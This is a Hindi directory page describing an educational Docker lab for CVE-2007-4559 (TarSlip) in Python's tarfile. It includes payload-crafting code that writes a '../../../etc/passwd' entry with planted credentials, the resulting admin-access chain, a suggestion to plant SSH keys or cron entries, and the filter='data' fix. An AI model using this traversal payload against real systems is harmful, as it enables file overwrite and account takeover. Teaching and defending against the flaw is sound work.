Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/jithinodattu/cve-2007-4559-lab
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणवेब एप्लिकेशन शोषणCTFआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubjithinodattu/cve-2007-4559-lab

CVE-2007-4559-lab

स्व-निहित डॉकर लैब जो CVE-2007-4559 (TarSlip) डायरेक्टरी ट्रैवर्सल को पायथन के tarfile मॉड्यूल के माध्यम से प्रदर्शित करता है। इसमें असुरक्षित और सुरक्षित APIs, पेलोड जनरेशन, और सुरक्षा शिक्षा के लिए एक इंटरैक्टिव डेमो स्क्रिप्ट शामिल है।

रिपॉजिटरी देखें
74 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2007-4559 — TarSlip: 15-साल का डायरेक्टरी ट्रैवर्सल

केवल शैक्षिक उपयोग के लिए। यह लैब जानबूझकर आइसोलेटेड डॉकर कंटेनरों के अंदर फाइल सिस्टम की कमजोरियों का शोषण करती है। इसे संवेदनशील डेटा वाले किसी भी सिस्टम या प्रोडक्शन वातावरण में न चलाएं।

एक स्व-निहित डॉकर लैब जो CVE-2007-4559 — पायथन के tarfile मॉड्यूल में कुख्यात "TarSlip" भेद्यता — को एक ठोस, एंड-टू-एंड अटैक श्रृंखला के माध्यम से प्रदर्शित करता है:

  1. एक हमलावर क्राफ्टेड टारबॉल को एक फ़ाइल अपलोड API पर अपलोड करता है।
  2. extractall() आँख मूंदकर ../../../etc/passwd नामक एक टार प्रविष्टि को निष्कर्षण निर्देशिका के बाहर लिखता है, वास्तविक सिस्टम फ़ाइल को अधिलेखित करता है।
  3. लगाया गया पासवर्ड हमलावर को संरक्षित /admin एंडपॉइंट तक पहुंच प्रदान करता है।
  4. वही हमला फिर एक फिक्स्ड API के विरुद्ध चलाया जाता है — और कोड की एक पंक्ति से अवरुद्ध कर दिया जाता है।

भेद्यता

पायथन का tarfile.extractall() टार आर्काइव में प्रत्येक प्रविष्टि को ईमानदारी से पुन: उत्पन्न करता है, जिसमें वे प्रविष्टियाँ भी शामिल हैं जिनके नामों में पथ ट्रैवर्सल अनुक्रम होते हैं। इसे ।

../
कभी भी एक सुरक्षा सीमा के रूप में डिज़ाइन नहीं किया गया था
root@kitploit:~
tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/

resolved path  : /shared/uploads/a1b2c3d4/../../../etc/passwd
               = /etc/passwd   ← system file overwritten
समयरेखा
2007पायथन सुरक्षा टीम को बग की सूचना दी गई
2007 – 2022"सुरक्षा मुद्दा नहीं" के रूप में चिह्नित — tarfile "इच्छित रूप से काम कर रहा है"
2022ट्रेलिक्स शोधकर्ता GitHub को स्कैन करते हैं और 350,000+ रेपो पाते हैं जो अविश्वसनीय इनपुट पर extractall() कॉल करते हैं
2022सार्वजनिक खुलासा। CVE-2007-4559 पुन: उभरता है। उद्योग-व्यापी हड़बड़ी।
2023PEP 706 पायथन 3.12 में filter='data' शिप करता है — फिक्स एक एकल तर्क है

डेमो क्या दिखाता है

डेमो तीन चरणों में चलता है, प्रत्येक को आगे बढ़ने के लिए एक कीप्रेस की आवश्यकता होती है।

चरण 1 — आधार रेखा (Baseline)

  • GET /admin → 401। एडमिन एंडपॉइंट मौजूद है और संरक्षित है। हमलावर को पासवर्ड नहीं पता है।
  • innocent.tar.gz अपलोड करें → फ़ाइलें सैंडबॉक्स निर्देशिका के अंदर लैंड करती हैं। सब कुछ सामान्य दिखता है।

चरण 2 — हमला (Exploit)

root@kitploit:~
हमलावर tarslip_passwd.tar.gz क्राफ्ट करता है
  └─ entry: "../../../etc/passwd"
       content: admin:hacked:1001:...   ← planted password
            │
            ▼
  POST /upload  (multipart file upload)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  resolves "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — "Welcome, admin! You have full admin access."
  flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

एक HTTP POST। कोई शेल नहीं। कोई RCE पेलोड नहीं। सिर्फ एक टार फ़ाइल।

चरण 3 — फिक्स (Fix)

वही टारबॉल फिक्स्ड API पर अपलोड की जाती है, जो extractall() में filter='data' पास करती है। पायथन tarfile.OutsideDestinationError उठाता है — ट्रैवर्सल अवरुद्ध हो जाता है, /etc/passwd अछूता रहता है, और /admin लॉक रहता है।

root@kitploit:~
# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)

# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')

एक तर्क। पंद्रह साल शिप करने में।


आर्किटेक्चर

एक आइसोलेटेड डॉकर ब्रिज नेटवर्क (tarslip-net) पर चार सेवाएँ। कुछ भी इंटरनेट तक नहीं पहुँचता।

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (bridge)                  │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  port 8000      │      │       port 8080 (host)   │  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  /shared पर HTTP सेवा     │  │
│  │  GET  /admin    │      │  निकाली गई फ़ाइलें ब्राउज़ │  │
│  │  GET  /health   │      │  करता है                  │  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  shared-storage volume     │                 │
│           └────────────────────────────┘                 │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (कोई होस्ट पोर्ट नहीं — केवल आंतरिक) │
│  │                 │                                     │
│  │  craft_malicious.py  — टारबॉल जनरेट करता है            │
│  │  demo.py             — डेमो चलाता है                  │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘
सेवाछविभूमिकाहोस्ट पोर्ट
vulnerable-apipython:3.11.3-slimFlask अपलोड API + /etc/passwd प्रमाणीकरण द्वारा संरक्षित /admin8000
fixed-apipython:3.12-slimसमान कोड + USE_SAFE_EXTRACTION=true8000
file-servernginx:alpineनिकाली गई फ़ाइलों की निर्देशिका सूची8080
attackerpython:3.12-slimपेलोड जनरेटर + डेमो ड्राइवर—

भेद्य और फिक्स्ड APIs समान स्रोत कोड का उपयोग करते हैं। एकमात्र अंतर फिक्स्ड कंटेनर पर USE_SAFE_EXTRACTION=true एनवायरनमेंट वेरिएबल है, जो एकल filter='data' तर्क को फ्लिप करता है।


रिपॉजिटरी लेआउट

root@kitploit:~
CVE-2007-4559-lab/
├── run_demo.sh                      ← यहाँ से शुरू करें
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # Flask API: /upload + /admin + /health
│   ├── Dockerfile                   # /etc/passwd में admin:s3cr3t_Adm1nPass बीजित करता है
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # innocent.tar.gz + tarslip_passwd.tar.gz जनरेट करता है
    ├── demo.py                      # चार-मोड CLI ड्राइवर (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

आवश्यक शर्तें

  • डॉकर 20.10+ जिसमें Compose प्लगइन हो (docker compose version)
  • macOS / Linux — शेल स्क्रिप्ट bash का उपयोग करती है
  • आपके होस्ट पर पोर्ट 8000 और 8080 खाली हों

डेमो चलाना

root@kitploit:~
git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

स्क्रिप्ट पूरी तरह से इंटरैक्टिव है। यह प्रत्येक चरण से पहले एक विवरण प्रिंट करती है और आगे बढ़ने के लिए Enter की प्रतीक्षा करती है। अनुसरण करने के लिए किसी पूर्व डॉकर ज्ञान की आवश्यकता नहीं है।

प्रत्येक विराम बिंदु क्या कवर करता है

विरामदिखाया गया विवरणEnter पर कार्रवाई
1CVE समयरेखा, तीन चरण क्या हैंभेद्य स्टैक बनाएं
2कंटेनर भूमिकाएँ, बीजित एडमिन पासवर्डपेलोड जनरेट करें
3प्रत्येक टारबॉल के अंदर क्या हैचरण 1 — आधार रेखा (Baseline)
4/admin 401 क्यों है, सामान्य निष्कर्षण कैसा दिखता हैचरण 2 — हमला (Exploit)
5सटीक ट्रैवर्सल गणित, क्या अधिलेखित होता हैफिक्स्ड स्टैक पर स्विच करें
6filter='data' क्या करता है और यह क्यों काम करता हैचरण 3 — सत्यापित करें (Verify)
7मुख्य निष्कर्ष + व्यापक ZipSlip पैटर्नटियरडाउन

अलग-अलग चरण चलाना

यदि आप मैन्युअल रूप से कदम उठाना चाहते हैं:

root@kitploit:~
# भेद्य स्टैक
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# फिक्स्ड स्टैक
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# टियरडाउन
docker compose -f docker-compose.fixed.yml down

दृश्य निरीक्षण

जब भेद्य स्टैक चल रहा हो, तो अपने ब्राउज़र में http://localhost:8080/uploads/ खोलें ताकि निकाली गई सत्र निर्देशिकाओं को ब्राउज़ कर सकें।


/admin एंडपॉइंट कैसे काम करता है

API इमेज बिल्ड समय पर /etc/passwd में एक गुप्त एडमिन पासवर्ड बीजित करता है:

root@kitploit:~
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

GET /admin इस फ़ाइल को पढ़ता है और HTTP बेसिक ऑथ क्रेडेंशियल्स के विरुद्ध दूसरे फ़ील्ड (पासवर्ड) की जाँच करता है। हमलावर को s3cr3t_Adm1nPass नहीं पता है — लेकिन TarSlip द्वारा फ़ाइल को admin:hacked वाले अपने संस्करण से अधिलेखित करने के बाद, उन्हें पता चल जाता है।

यह वास्तविक दुनिया के लक्ष्यों का एक सरलीकृत मॉडल है: SSH authorized_keys, एप्लिकेशन कॉन्फ़िगरेशन फ़ाइलें, क्रॉन जॉब्स, और कोई भी क्रेडेंशियल फ़ाइल जिसे वेब प्रक्रिया लिख सकती है।


पेलोड कैसे तैयार किए जाते हैं

craft_malicious.py पायथन के अपने tarfile मॉड्यूल का उपयोग करता है — वही जिसमें बग है:

root@kitploit:~
def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name ट्रैवर्सल पथ है
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# प्रविष्टि का नाम /shared/uploads/{uuid}/ में निकालने पर /etc/passwd पर रिज़ॉल्व होता है
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

कोई विशेष उपकरण नहीं। कोई बाइनरी शोषण नहीं। मानक पुस्तकालय ही हथियार और शिकार दोनों है।


फिक्स समझाया गया

पायथन 3.12 ने PEP 706 में filter= पेश किया। 'data' फ़िल्टर:

  • उन प्रविष्टियों को अस्वीकार करता है जो गंतव्य निर्देशिका के बाहर रिज़ॉल्व होती हैं
  • setuid/setgid बिट्स को हटाता है
  • डिवाइस फ़ाइलों और असुरक्षित पथों के हार्ड लिंक को अनदेखा करता है
  • ट्रैवर्सल प्रयासों पर tarfile.OutsideDestinationError उठाता है
root@kitploit:~
# पहले (भेद्य — पायथन 3.14 तक डिफ़ॉल्ट)
with tarfile.open(path) as tar:
    tar.extractall(dest)

# बाद में (सुरक्षित)
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

पायथन 3.11 और पुराने के लिए, मैन्युअल रूप से मान्य करें:

root@kitploit:~
import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"असुरक्षित पथ: {member.name}")
    tar.extractall(dest)

स्थैतिक विश्लेषण: CI में असुरक्षित extractall() कॉल को फ़्लैग करने का bandit नियम B202।


व्यापक प्रभाव — ZipSlip

TarSlip एक भेद्यता वर्ग के लिए पायथन का नाम है जो आर्काइव निष्कर्षण APIs वाली हर भाषा में मौजूद है:

भाषाभेद्य APICVE / सलाह
पायथनtarfile.extractall()CVE-2007-4559
जावाZipInputStreamZipSlip (2018)
Goarchive/zipZipSlip (2018)
.NETZipArchiveZipSlip (2018)
Node.jstar, adm-zip, अन्यZipSlip (2018)

हर जगह एक ही मूल कारण: अविश्वसनीय आर्काइव से पथों पर भरोसा करना। हर जगह एक ही फिक्स: लिखने से पहले कैनोनिकलाइज़ और मान्य करें।


दर्शकों की विविधताएँ

डेवलपर दर्शक

पहले/बाद के कोड अंतर और bandit B202 नियम पर ध्यान दें। लक्ष्य "हम अपने कोडबेस में इसे कैसे रोकें?" — PEP 706 माइग्रेशन गाइड और CI में चेक कैसे जोड़ें दिखाएँ।

सुरक्षा दर्शक

ट्रेलिक्स खुलासा पद्धति पर ध्यान दें — उन्होंने बड़े पैमाने पर GitHub को कैसे खोजा, 350,000 रेपो में प्रभाव का अनुमान लगाया, और इतनी व्यापक भेद्यता के लिए जिम्मेदार खुलासा कैसे किया।

CTF दर्शक

craft_malicious.py को विस्तारित करें ताकि /etc/passwd के बजाय एक SSH authorized_keys फ़ाइल या एक दुर्भावनापूर्ण क्रॉन प्रविष्टि लगाई जा सके। एक ही तकनीक, अलग-अलग लक्ष्य — दिखाता है कि कोई भी लिखने योग्य पथ हमले की सतह है।


संदर्भ

  • NVD — CVE-2007-4559
  • PEP 706 — Filter for tarfile.extractall
  • Trellix — "15 Years Later: On the Dangers of Zip/Tar Slip"
  • Python issue tracker — bpo-21109 (मूल 2007 की रिपोर्ट)
  • Bandit B202
  • Snyk ZipSlip advisory

लाइसेंस

MIT — शिक्षा, सुरक्षा अनुसंधान और सम्मेलन डेमो के लिए स्वतंत्र रूप से उपयोग करें। पेलोड जनरेशन तकनीकों का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं।

टूल डाउनलोड करें